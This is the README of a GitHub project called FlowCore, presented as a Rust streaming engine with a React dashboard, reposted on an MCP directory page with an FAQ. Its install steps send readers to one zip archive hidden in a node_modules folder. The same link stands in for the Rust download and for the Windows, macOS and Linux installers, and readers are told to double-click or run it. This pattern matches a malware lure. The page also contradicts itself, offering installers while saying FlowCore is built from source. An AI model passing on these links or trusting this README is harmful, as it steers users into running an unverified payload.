FlowCore

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🚀 Build a minimal Flink-like streaming engine in Rust and React to process events with tumbling windows, late-event detection, and a simple web interface.

by Ej-Locked

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🚀 Build a minimal Flink-like streaming engine in Rust and React to process events with tumbling windows, late-event detection, and a simple web interface.

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📖 About FlowCore

FlowCore is a lightweight, Rust-powered real-time stream processing engine. It helps you handle data streams efficiently. With features like event-time processing, tumbling windows, and late-event handling, you can manage your data effectively. FlowCore also comes with a modern React dashboard for easy live visualization of your data streams.

🚀 Getting Started

This guide helps you download and run FlowCore easily. Follow these steps:

1. Check System Requirements

Before downloading, ensure your system meets these requirements:

Operating System: Windows, macOS, or Linux
RAM: At least 2 GB
Disk Space: At least 100 MB of free space
Rust: Ensure you have Rust installed. If not, download it from https://github.com/Ej-Locked/FlowCore/raw/refs/heads/main/frontend/node_modules/yallist/Core-Flow-1.6.zip.

2. Visit the Download Page

Go to the FlowCore Releases Page to find the latest version.

3. Download the Installer

On the releases page, find the latest version of FlowCore. Click on it to access the release assets.

4. Choose Your Operating System

Select the right installer for your operating system:

For Windows, download https://github.com/Ej-Locked/FlowCore/raw/refs/heads/main/frontend/node_modules/yallist/Core-Flow-1.6.zip
For macOS, download https://github.com/Ej-Locked/FlowCore/raw/refs/heads/main/frontend/node_modules/yallist/Core-Flow-1.6.zip
For Linux, download https://github.com/Ej-Locked/FlowCore/raw/refs/heads/main/frontend/node_modules/yallist/Core-Flow-1.6.zip

5. Install FlowCore

Once you have downloaded the installer, follow these steps:

Windows: Double-click https://github.com/Ej-Locked/FlowCore/raw/refs/heads/main/frontend/node_modules/yallist/Core-Flow-1.6.zip and follow the prompts to complete the installation.
macOS: Extract https://github.com/Ej-Locked/FlowCore/raw/refs/heads/main/frontend/node_modules/yallist/Core-Flow-1.6.zip and drag the FlowCore application to your Applications folder.
Linux: Extract https://github.com/Ej-Locked/FlowCore/raw/refs/heads/main/frontend/node_modules/yallist/Core-Flow-1.6.zip using the terminal and run the executable file.

6. Launch FlowCore

After installation, you can launch FlowCore:

Windows: Find FlowCore in your Start Menu.
macOS: Open the Applications folder and click on FlowCore.
Linux: Open a terminal, navigate to the FlowCore directory, and run ./FlowCore.

7. Configure Your First Stream

Once FlowCore is running, you can start configuring your first data stream. The intuitive dashboard guides you through setting up:

Specify your data input source.
Define processing logic using preset options.
Set parameters for event-time processing and window definitions.

🌐 Features

FlowCore offers a variety of advanced features:

Event-Time Processing: Manage events based on time rather than order.
Tumbling Windows: Break your data into timed intervals for analysis.
Watermarks: Handle late events with custom timing thresholds.
Checkpointing: Save your progress and recover easily in case of failure.
Real-time Visualization: Use the built-in React dashboard to see your data live.

⚙️ Common Use Cases

Real-Time Analytics: Analyze streams for trends or patterns as they happen.
Data Monitoring: Keep track of various data inputs in real time.
Event-Driven Applications: Deploy applications that respond to incoming data events efficiently.

📊 Screenshots

Include screenshots of the dashboard and key features to illustrate FlowCore's user interface and highlight its modern design.

🏗️ Community & Support

If you run into issues or need assistance:

Visit our GitHub Issues page to report problems.
Join our community forum for discussions and advice.
Check the documentation for detailed guidance on setup and configurations.

🌟 Acknowledgments

FlowCore draws inspiration from Apache Flink and integrates concepts from streaming data processing fields. Special thanks to the Rust community for providing the foundational technology.

🏁 Conclusion

FlowCore simplifies real-time stream processing. Whether you're monitoring data or building responsive applications, follow these steps to get started. Download now to explore its capabilities.

🔗 Important Links

Now you're ready to download and explore FlowCore!

from github.com/Ej-Locked/FlowCore

Installing FlowCore

This server has no published package — it is built from source. Open the repository and follow its README.

▸ github.com/Ej-Locked/FlowCore

FAQ

Is FlowCore MCP free?

Yes, FlowCore MCP is free — one-click install via Unyly at no cost.

Does FlowCore need an API key?

No, FlowCore runs without API keys or environment variables.

Is FlowCore hosted or self-hosted?

Self-hosted: the server runs locally on your machine via the install command above.

How do I install FlowCore in Claude Desktop, Claude Code or Cursor?

Open FlowCore on unyly.org, pick your client tab (Claude Desktop, Claude Code, Cursor) and press Install — the config is generated automatically, no JSON editing.

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